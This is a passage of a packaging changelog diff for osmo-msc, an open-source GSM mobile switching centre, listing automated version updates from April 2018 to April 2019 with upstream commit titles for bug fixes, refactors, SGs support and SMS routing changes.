+ * msc/gsm_data.h: drop unused SMS_HDR_SIZE macro
+
+-------------------------------------------------------------------
+Sun Apr 07 20:03:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.49:
+ * vlr_sgs: start lu expiration timer on sgs eps detach
+ * vlr_sgs: fix SGs IMSI detech from non EPS services
+
+-------------------------------------------------------------------
+Mon Apr 01 20:03:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.47:
+ * tests/sms_queue: track the use of NULL talloc memory contexts
+ * libmsc/sms_queue.c: fix memleak in smsq_take_next_sms()
+
+-------------------------------------------------------------------
+Sun Mar 31 20:02:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.45:
+ * Write configuration correctly from vty (alert notifications)
+
+-------------------------------------------------------------------
+Thu Mar 28 21:02:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.44:
+ * libmsc: fix: properly initialize the SGs server
+ * libmsc/sgs_vty.c: don't print SGs socket error twice
+ * libmsc/sgs_iface.c: register sgs_vlr_reset_fsm on DSO load
+ * libmsc/sgs_iface.c: fix copy-paste error
+
+-------------------------------------------------------------------
+Wed Mar 27 21:04:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.40:
+ * debian/control: Fix typo
+
+-------------------------------------------------------------------
+Sun Mar 24 21:02:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.39:
+ * vlr_subscr_name(): use OSMO_STRBUF
+
+-------------------------------------------------------------------
+Tue Mar 19 21:03:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.38:
+ * msc_vty: add missing header file
+ * libvlr: Allow 2G auth tuples to be re-used without going through AUTH
+ * a_iface: OSMO_ASSERT() if we ever want to send BSSAP with invalid length
+
+-------------------------------------------------------------------
+Fri Mar 15 21:03:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.35:
+ * silent_call: use osmo_strlcpy() instead of strncpy()
+
+-------------------------------------------------------------------
+Thu Mar 14 21:03:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.34:
+ * libmsc: Allow different channel types to be requested as silent calls
+
+-------------------------------------------------------------------
+Mon Mar 11 21:03:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.33:
+ * vty: add cmd subscriber ID sms delete-all
+
+-------------------------------------------------------------------
+Thu Mar 07 21:02:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.32:
+ * SMS queue: properly log failed attempts number
+ * gsm_04_11_gsup.c: drop unused conn lookup
+ * use only accepted ran_conns for new transactions
+
+-------------------------------------------------------------------
+Thu Feb 28 21:02:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.29:
+ * Don't deliver alert notifications to ESME not yet bound.
+ * libmsc/msc_vty.c: drop dead comparison against null
+ * libmsc/sgs_vty.c: always write server address and VLR name
+
+-------------------------------------------------------------------
+Wed Feb 27 21:03:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.26:
+ * libmsc/sgs_iface.c: fix SGS_STATE_NS11 counter reference
+ * libmsc/ran_conn.c: add missing 'break' to OSMO_RAT_EUTRAN_SGS
+
+-------------------------------------------------------------------
+Tue Feb 26 21:03:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.24:
+ * debian: depend on libdbd-sqlite3
+
+-------------------------------------------------------------------
+Thu Feb 21 21:02:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.23:
+ * libmsc/gsm_09_11.c: implement guard timer for NCSS sessions
+
+-------------------------------------------------------------------
+Mon Feb 18 21:03:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.22:
+ * a_iface: Fix hexdumping of N-DATA.req
+ * a_iface: use 'const' qualifier for ran_conn whenever possible
+ * a_iface: Centralize/wrap BSSAP / N-DATA transmission
+
+-------------------------------------------------------------------
+Fri Feb 15 21:03:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.19:
+ * transaction.h: use #pragma once as include guard
+ * transaction: fix description of trans_assign_trans_id()
+ * transaction: clarify magic 0xff transaction ID
+ * transaction: drop meaningless ti_flag of trans_assign_trans_id()
+
+-------------------------------------------------------------------
+Thu Feb 14 21:03:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.15:
+ * libmsc/osmo_msc.c: move connection ref-counting code to 'ran_conn.c'
+
+-------------------------------------------------------------------
+Wed Feb 13 21:11:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.14:
+ * libmsc/gsm_04_80.c: add msc_send_ussd_release_complete_cause()
+ * libmsc/gsm_04_80.c: use gsm0480_create_release_complete()
+
+-------------------------------------------------------------------
+Tue Feb 12 21:03:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.12:
+ * a_iface: Include CSFB Indication into BSSMAP CLEAR COMMAND
+
+-------------------------------------------------------------------
+Wed Feb 06 21:02:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.11:
+ * configure.ac: Check for libsctp
+ * debian: depend on libsctp-dev
+
+-------------------------------------------------------------------
+Tue Feb 05 21:02:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.9:
+ * VLR tests: use msgb_eq_data_print() for comparison
+ * Add SGs Interface
+
+-------------------------------------------------------------------
+Fri Feb 01 21:02:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.7:
+ * libmsc/gsm_04_11.c: introduce and use gsm411_assign_sm_rp_mr()
+ * libmsc/gsm_04_11.c: also assign SM-RP-MR to MO transactions
+ * transaction: change arguments of trans_find_by_sm_rp_mr()
+
+-------------------------------------------------------------------
+Sat Jan 26 21:02:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.4:
+ * libmsc/ran_conn.c: cosmetic: use tabs instead of N * 8 spaces
+ * transaction.c: cosmetic: use 'default' branch in trans_free()
+
+-------------------------------------------------------------------
+Thu Jan 24 21:07:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.2:
+ * Various logging fixes
+ * Handle LCLS-NOTIFICATION message from BSS
+
+-------------------------------------------------------------------
+Tue Jan 22 20:35:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.0:
+ * Bump version: 1.3.0 → 1.3.1
+
+-------------------------------------------------------------------
+Tue Jan 22 07:32:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.1:
+ * fix build: apply msgb_wrap_with_TL() rename
+
+-------------------------------------------------------------------
+Mon Jan 21 21:02:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.0:
+ * Bump version: 1.2.0.199-45df98-dirty → 1.3.0
+
+-------------------------------------------------------------------
+Fri Jan 18 21:02:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.199:
+ * vty: make 'sh connect/transact' readable again
+
+-------------------------------------------------------------------
+Thu Jan 17 21:02:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.198:
+ * Cosmetic: Fix spelling in smpp vty
+ * Make alert notifications vty configurable per ESME
+ * SMS: remove code duplication in transaction init
+
+-------------------------------------------------------------------
+Wed Jan 16 21:02:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.195:
+ * MNCC: use explicit struct type in gsm_call
+ * Enable SMS-related log in VLR tests
+ * VLR: send CHECK-IMEI to EIR/HLR
+
+-------------------------------------------------------------------
+Mon Jan 14 21:02:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.192:
+ * Fix trans_has_conn() doxygen description
+
+-------------------------------------------------------------------
+Sat Jan 12 21:02:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.191:
+ * gsm_04_08: Fix nullpointer deref
+ * gsm_04_08_cc.c: drop non-sensible error message
+ * msc_vlr_tests: tweak logging in verbose mode
+ * err log: fully log MS supported A5 algos on mismatch
+ * tweak fsm_msc_mgcp FSM and FI name
+ * mm_rx_id_resp(): use osmo_mi_name()
+ * refactor log ctx for vlr_subscr and ran_conn
+ * rx CM Service Req: reject double use sooner
+ * add LOG_RAN_CONN() to use the conn->fi->id for context
+ * use osmo_lu_type_name() from libosmocore
+ * libmsc/gsm_04_11.c: accept MT SMS messages over GSUP
+
+-------------------------------------------------------------------
+Fri Jan 11 21:02:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.180:
+ * Use explicit protocol discriminator for NC SS/USSD session
+
+-------------------------------------------------------------------
+Wed Jan 09 21:02:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.179:
+ * VLR: vlr_subscr_{,msisdn_or_}name: const vsub arg
+ * vlr_core.h: remove duplicate declarations
+ * msc_vty.c: make check-imei-rqd configurable
+ * Cosmetic: msc_vty: remove redundant "0 =", "1 ="
+
+-------------------------------------------------------------------
+Tue Jan 08 21:02:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.175:
+ * use mgcp-client configured endpoint domain name
+
+-------------------------------------------------------------------
+Fri Jan 04 21:02:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.174:
+ * use osmo_rat_type from libosmocore
+ * vty cfg: move 'ipa-name' from 'msc' to 'hlr' section
+ * vlr: auth_fsm: make sure vsub->auth_fsm = NULL when it terminates
+ * abort assignment on Assignment Failure
+ * fix: incoming call during ongoing call
+ * move trans->assignment_done to cc.assignment_started
+ * remove code dup: add msc_mgcp_try_call_assignment()
+ * Constify transaction helpers parameters
+ * fix vlr ops.subscr_assoc re-association
+
+-------------------------------------------------------------------
+Thu Jan 03 21:02:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.165:
+ * release RTP stream only for matching CC transaction
+ * cosmetics in msc_mgcp_call_release()
+ * libmsc/gsm_04_11.c: forward MO SMS messages over GSUP
+ * libmsc/VTY: introduce kill-switch for routing SMS over GSUP
+
+-------------------------------------------------------------------
+Sun Dec 23 21:02:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.161:
+ * MNCC: use log wrapper for call processing
+
+-------------------------------------------------------------------
+Fri Dec 21 21:02:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.160:
+ * use vty->type instead of local variable
+
+-------------------------------------------------------------------
+Thu Dec 20 21:02:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.159:
+ * fix test_nodes.vty after libosmo-mgcp-client vty changes
+
+-------------------------------------------------------------------
+Wed Dec 19 21:02:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.158:
+ * mgcp log tweak: say RAN, not BTS, like surrounding logging
+ * fix msc_mgcp_fsm_evt_names: two missing events
+ * msc_vty: also show IMEI and IMEISV
+ * Remove redundancy in LAC processing
+ * msc_vty: display current RAN type
+ * msc_vty: display subscriber flags
+
+-------------------------------------------------------------------
+Tue Dec 18 21:02:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.152:
+ * vty: show subscriber: put() before printing the use count
+ * VLR: drop unused struct members
+ * Use proper type for tch_rtp_connect() parameter
+ * VLR tests: avoid leaking LAC access details
+ * VLR tests: add logging macro with explicit value description
+
+-------------------------------------------------------------------
+Mon Dec 17 21:02:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.147:
+ * CC: log more details about unhandled message/state
+ * cosmetic: drop unused variable
+ * comment: vlr: put the 'balancing' comment closer to the put()
+ * vlr_lu_fsm: drop unused out_state INIT -> WAIT_IMEI
+ * tweak comment to indicate sub_pres_vlr fsm as dead code
+ * log: by default start with all categories on LOGL_NOTICE
+ * cosmetic: drop duplicated #include
+
+-------------------------------------------------------------------
+Thu Dec 13 21:02:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.140:
+ * require 'ipa-name' option to be set via config file
+
+-------------------------------------------------------------------
+Tue Dec 11 21:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.139:
+ * Revert "move ASS-COMPL MGCP handling out of a_iface_bssap.c"
+ * provide software version information to gsup peer
+ * make gsup ipa name configurable in osmo-msc.cfg
+ * LU: do not always invoke sub_pres_vlr_fsm_start()
+ * detach cancelled subscribers from VLR
+ * drop gsm48 RR ciph mode compl from permitted initial messages
+ * move ASS-COMPL MGCP handling out of a_iface_bssap.c
+
+-------------------------------------------------------------------
+Mon Dec 10 21:02:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.132:
+ * ASS-COMPL: do not fire Sec Mode Compl event
+
+-------------------------------------------------------------------
+Thu Dec 06 21:02:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.131:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Wed Dec 05 21:02:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.130:
+ * add VTY commands: mncc internal / external (== -M)
+ * vty: mncc cfg: separate the 'mncc' from 'mncc-guard-timeout'
+ * msc_main: mncc: move mncc socket decision to after read_cfg
+ * cosmetic: msc_main.c: default args definition style
+ * add test_nodes.vty transcript test
+ * make: prepare for adding transcript tests
+ * python tests: use py shebang instead of $(PYTHON)
+ * gsm_subscriber: make function msc_paging_request() static
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:02:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.121:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Sat Dec 01 21:02:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.120:
+ * move gsm_cbfn to gsm_subscriber.h, the only user
+ * drop cruft from gsm_subscriber.h
+ * GSM_EXTENSION_LENGTH -> VLR_MSISDN_LENGTH
+ * move gsm_auth_tuple to vlr.h as vlr_auth_tuple
+ * cosmetic: drop some unused opaque struct defs
+ * combine several small .h in msc_common.h
+ * move ran_conn declarations to new ran_conn.h
+ * move subscr_conn.c to ran_conn.c
+ * rename some RAN conn related stuff to ran_conn_*
+ * rename gsm_subscriber_connection to ran_conn
+ * drop msc_compl_l3() return value
+ * rename gsm_encr to geran_encr, it is only applicable on GERAN
+ * populate gsm_subscriber_connection->encr during Ciph
+ * adjust copyright in subscr_conn.c
+ * cosmetic: subscr_conn_fsm_auth_ciph() should be static
+ * drop unused tests/db/*
+ * drop unused gsm0408_allow_everyone() declaration
+ * drop unused SUBSCR_CONN_E_INVALID
+ * drop unused openbscdefines.h
+
+-------------------------------------------------------------------
+Fri Nov 30 21:02:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.101:
+ * libmsc/gsm_04_11.c: fix: always use SAPI 3 for MT SMS
+ * drop unused gsm_network->handover.active
+ * drop unused gsm_subscr_conn->mncc_rtp_bridge
+
+-------------------------------------------------------------------
+Thu Nov 29 21:02:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.98:
+ * libmsc/gsm_04_11.c: refactor MT SMS message handling
+ * libmsc/transaction: introduce trans_find_by_sm_rp_mr()
+
+-------------------------------------------------------------------
+Wed Nov 28 21:02:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.96:
+ * libmsc/gsm_09_11.c: drop redundant assertion of stored msgb
+
+-------------------------------------------------------------------
+Tue Nov 27 21:02:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.95:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * msc: update vty reference
+ * OsmoBSC/HLR/MSC: Fix default config file name
+ * add SGs / CSFB related dot + msc files
+ * vty-ref: Update URI of docbook 5.0 schema
+ * OsmoMSC: update VTY reference
+ * share chapters/gsup.adoc from OsmoSGSN to OsmoMSC + OsmoHLR
+ * OsmoMSC: add rate counter documentation
+ * refactor Makefile build rules, don't use the FORCE
+ * add OsmoHLR manual, OsmoHLR VTY reference
+ * add OsmoMSC manual
+ * libmsc/transaction.c: cosmetic: fix typo
+ * libmsc/gsm_04_11.c: refactor RP-DATA header validation
+ * libmsc/gsm_04_11.c: don't pass msgb to gsm411_rx_rp_{ack|error}
+
+-------------------------------------------------------------------
+Fri Nov 23 21:02:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.79:
+ * osmo_msc: remove unused parameter from msc_dtap()
+
+-------------------------------------------------------------------
+Thu Nov 22 19:00:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.78:
+ * msc_vlr_tests.c: drop duplicating DMM category definition
+
+-------------------------------------------------------------------
+Wed Nov 21 20:21:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.77:
+ * msc/gsm_04_11.h: use forward-declaration for _gsm411_sms_trans_free()
+ * msc/gsm_04_11.h: drop unused sms_next_rp_msg_ref()
+ * libmsc/db.c: cosmetic: mark missing breaks in switch as intended
+
+-------------------------------------------------------------------
+Tue Nov 20 19:11:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.74:
+ * Use libosmocore to function to parse cipher mode reject cause
+ * Use BSSAP-specific TLV parser from libosmocore
+ * msc: vty: Fix integer printf formatting
+
+-------------------------------------------------------------------
+Mon Nov 19 18:33:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.71:
+ * Fix build with latest libosmocore
+ * libmsc: Don't send SMS STATUS REPORT locally if the ESME accepted it.
+
+-------------------------------------------------------------------
+Sun Nov 18 21:02:28 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.69:
+ * msc_vlr_tests: tweak conn_exists()
+
+-------------------------------------------------------------------
+Fri Nov 16 21:02:28 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.68:
+ * vlr: drop unused is_ps parameter in vlr_subscr_req_lu()
+
+-------------------------------------------------------------------
+Tue Nov 13 21:02:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.67:
+ * vty: add command to show all known BSC
+
+-------------------------------------------------------------------
+Thu Nov 08 21:02:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.66:
+ * cosmetic: remove forgotten debug printf
+
+-------------------------------------------------------------------
+Sat Nov 03 21:02:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.65:
+ * Add counters for BSSMAP cipher mode messages
+ * Properly parse cause in cipher mode reject
+
+-------------------------------------------------------------------
+Thu Nov 01 21:02:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.63:
+ * lu_fsm: result cb: use proper cause type (warning/coverity)
+
+-------------------------------------------------------------------
+Wed Oct 24 20:03:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.62:
+ * gsm_04_08_cc: Add global guard timer for MNCC
+
+-------------------------------------------------------------------
+Sun Oct 21 17:25:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.61:
+ * gsm0407_is_duplicate(): Handle error ret of gsm0407_pdisc_ctr_bin()
+
+-------------------------------------------------------------------
+Mon Oct 08 20:02:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.60:
+ * msc_mgcp: move mncc struct initalization to where its actually needed
+
+-------------------------------------------------------------------
+Sat Oct 06 20:02:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.59:
+ * GSUP client: send CN domain IE on LU request
+
+-------------------------------------------------------------------
+Sat Sep 29 19:48:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.58:
+ * fix a use-after-free in msc_mgcp.c:_handle_error()
+
+-------------------------------------------------------------------
+Fri Sep 28 20:02:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.57:
+ * mncc: fix byte ordering of IP-Address in mncc
+ * vty: add SCCP related vty commands
+
+-------------------------------------------------------------------
+Wed Sep 19 20:02:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.55:
+ * fix Classmark Update without VLR subscriber
+
+-------------------------------------------------------------------
+Mon Sep 17 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.54:
+ * A5/n Ciph: request Classmark Update if missing
+ * msc_vlr_tests: cosmetically tweak perm algo printing
+ * store classmark in vlr_subscr, not conn
+
+-------------------------------------------------------------------
+Thu Sep 13 19:33:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.51:
+ * Install sample cfg file to /etc/osmocom
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Thu Aug 23 20:02:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.49:
+ * cosmetic: mute "COMPLETE_LAYER_3 not permitted"
+
+-------------------------------------------------------------------
+Tue Aug 21 20:02:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.48:
+ * use __FILE__, not __BASE_FILE__
+
+-------------------------------------------------------------------
+Fri Aug 17 20:05:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.47:
+ * msc: Set talloc ctx for osmo_signal structures
+
+-------------------------------------------------------------------
+Tue Aug 14 20:03:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.46:
+ * osmo-msc: track the use of talloc NULL memory contexts
+ * osmo-msc: free the VTY talloc context on exit
+ * osmo-msc: Improve shutdown due to signal and print talloc report on exit
+
+-------------------------------------------------------------------
+Sat Aug 11 20:02:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.43:
+ * libmsc/mncc_sock.c: Add lchan_type_offset in queue_hello()
+
+-------------------------------------------------------------------
+Thu Aug 09 20:02:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.42:
+ * doc: update mgw settings in example config file
+
+-------------------------------------------------------------------
+Tue Aug 07 20:02:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.41:
+ * mgcp: use codec information returned with ASSIGNMENT COMPL.
+
+-------------------------------------------------------------------
+Sun Aug 05 20:02:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.40:
+ * RRLP: print log when sending a position request
+ * RRLP: migrate and share mode definitions from msc_vty.c
+ * RRLP: fix: actually init the RRLP signal handlers
+ * RRLP: properly name the init function
+ * Remove local libgsupclient; Use libosmo-gsup-client from osmo-hlr
+ * libmsc/gsm_09_11.c: clean up the local GSM 04.80 API
+ * libmsc/rrlp.c: add missing include
+ * msc/rrlp.h: use #pragma once include guard
+ * msc/signal.h: use #pragma once include guard
+
+-------------------------------------------------------------------
+Tue Jul 31 20:02:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.31:
+ * migrate to oap_client in libosmogsm
+
+-------------------------------------------------------------------
+Mon Jul 30 20:02:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.30:
+ * libmsc/gsm_09_11.c: introduce counter for active sessions
+ * libmsc/gsm_09_11.c: introduce rate counters for NC_SS sessions
+ * libmsc/gsm_09_11.c: properly handle MS-initiated release
+ * libmsc/gsm_09_11.c: implement network-initiated sessions
+ * libmsc/gsm_09_11.c: forward SS/USSD messages to HLR over GSUP
+
+-------------------------------------------------------------------
+Sun Jul 29 20:02:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.25:
+ * libvlr/vlr.c: forward unhandled GSUP messages towards MSC
+ * msc_vlr_tests: don't abuse USSD-request to conclude connections
+
+-------------------------------------------------------------------
+Fri Jul 27 20:02:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.23:
+ * cosmetic: typos in log and comment
+ * Iu MGCP: no need to loopback on the cn side
+ * vlr_access_req_fsm.c: use osmo_strlcpy and avoid compiler error
+
+-------------------------------------------------------------------
+Wed Jul 25 20:02:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.20:
+ * libmsc: move L3 call-control to separate C file (gsm_04_08_cc.c)
+ * git-version-gen: Don't check for .git directory
+
+-------------------------------------------------------------------
+Sat Jul 07 20:05:04 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.18:
+ * configure.ac: drop unused dependencies
+
+-------------------------------------------------------------------
+Mon Jun 25 20:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.17:
+ * VLR: reject overlong IMSIs in ID RESP messages
+
+-------------------------------------------------------------------
+Thu Jun 21 20:02:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.16:
+ * jenkins.sh: Use --enable-werror only when iu support is disabled
+
+-------------------------------------------------------------------
+Mon Jun 18 20:02:28 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.15:
+ * .gitignore: ignore src/libgsupclient/gsup_test_client
+
+-------------------------------------------------------------------
+Fri Jun 15 20:02:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.14:
+ * msc_main: Fix typo in description of version param
+
+-------------------------------------------------------------------
+Thu Jun 14 20:02:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.13:
+ * libmsc/gsm_04_80.c: make the API abstract from ss_request struct
+ * libmsc/gsm_09_11.c: properly indicate transaction errors
+ * libmsc/gsm_04_08.c: expose gsm48_tx_simple()
+ * Use proper naming for GSM TS 09.11 implementation
+
+-------------------------------------------------------------------
+Sun Jun 10 20:02:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.9:
+ * libmsc/ussd.c: use connection ref-counting and transactions
+ * libmsc: properly name the MSC_CONN_USE token for SS
+ * libmsc/ussd.c: FIX: properly indicate errors
+
+-------------------------------------------------------------------
+Tue May 29 20:02:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.6:
+ * mgcp: do not start connections in loopback mode
+ * mgcp: hack to keep IuUP working
+
+-------------------------------------------------------------------
+Wed May 23 20:02:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.4:
+ * implement periodic Location Update expiry in the VLR
+
+-------------------------------------------------------------------
+Fri May 18 20:02:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.3:
+ * a_reset: cleanup + remove dead code
+ * remove redundant unconditional PKG_CHECK_MODULES for libsmpp
+
+-------------------------------------------------------------------
+Wed May 16 20:03:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.1:
+ * vlr_access_req_fsm: use correct cause codes
+
+-------------------------------------------------------------------
+Thu May 03 20:03:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.0:
+ * Bump version: 1.1.2.269-86f21-dirty → 1.2.0
+
+-------------------------------------------------------------------
+Tue Apr 24 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.269:
+ * Remove unused GSM_PAGING_OOM
+ * setup_trig_pag_evt: Remove uneeded default case in switch statement
+ * setup_trig_pag_evt: Always log correct paging failure case
+ * setup_trig_pag_evt: Fix heap-use-after-free
+
+-------------------------------------------------------------------
+Tue Apr 17 20:03:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.265:
+ * tests/msc_vlr: fix expected SS message names
+ * smpp_smsc_conf: Fix heap-use-after-free
+
+-------------------------------------------------------------------
+Mon Apr 16 20:02:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.263:
+ * cosmetic: use enum ranap_nsap_addr_enc instead of int
+
+-------------------------------------------------------------------
+Sat Apr 14 20:28:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.262:
+ * smpp: Unset esme->acl on socket close
+ * sms_queue: fix use-after-free on 'pending'
+
+-------------------------------------------------------------------
+Thu Apr 12 21:47:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.260:
+ * CC: intentionally release T308 on BSSMAP Clear Request from BSC
+ * refactor subscr_conn and subscr_conn_fsm de-/alloc
+ * properly receive BSSMAP Clear Complete and Iu Release Complete
+ * fix BSC Clear Request
+ * cosmetic: embed compl_l3_type in FSM id
+ * libmsc/ussd: don't overwrite rc if decoding failed
+ * refactor VLR FSM result handling
+ * msc conn ref counts: log human readable list of conn owners
+
+-------------------------------------------------------------------
+Wed Apr 11 20:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.252:
+ * msc_mgcp.c: log endpoint name instead of pointer
+ * msc_mgcp: do not send wildcarded DLCX messages
+
+-------------------------------------------------------------------
+Tue Apr 10 18:48:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.250:
+ * ussd.h: cosmetic: remove useless comment
+ * ussd.h: cosmetic: use '#pragma once' include guard
+ * libmsc/gsm_04_80.c: drop unused 'in_msg' argument
+ * libmsc/ussd.c: cosmetic: correct log level and message
+ * trans_free: drop bad assertion
+ * msc_vlr_test_call: reproduce OS#3062
+
+-------------------------------------------------------------------
+Mon Apr 09 18:39:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.244:
+ * DTAP: Ensure proper DLCI is used in MSC-originated DTAP
+ * Permit any Sender MSISDN when sending SMS from VTY
+
+-------------------------------------------------------------------
+Mon Apr 9 12:04:28 UTC 2018 - mardnh@gmx.de
+
+- Build with --enable-iu
+
+-------------------------------------------------------------------
+Sat Apr 07 18:53:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.242:
+ * msc_mgcp.c: Fix several wrong ptr printf fmt
+ * BSSAP: Return error code if COMPL L3 with no or too short L3 payload
+ * a_iface_bssap: Treat inbound RESET as implicit RESET ACK
+ * a_iface: If L3/DTAP returns error in COMPL L3, close SCCP connection
+ * cosmetic: remove unused variable
+ * cosmetic: gsm_04_08.c: drop unused struct gsm_lai
+ * trans_free: tear down conn when last transaction is done
+ * dissolve libcommon,libcommon-cs: clean up vty definitions
+ * cosmetic: msc_vty.c: use static gsmnet instead of gsmnet_from_vty()
+ * dissolve libcommon: drop unused bsc_version.c
+ * dissolve libcommon: drop debug.c
+ * dissolve libcommon: move talloc ctx into msc_main.c, drop talloc_ctx.c
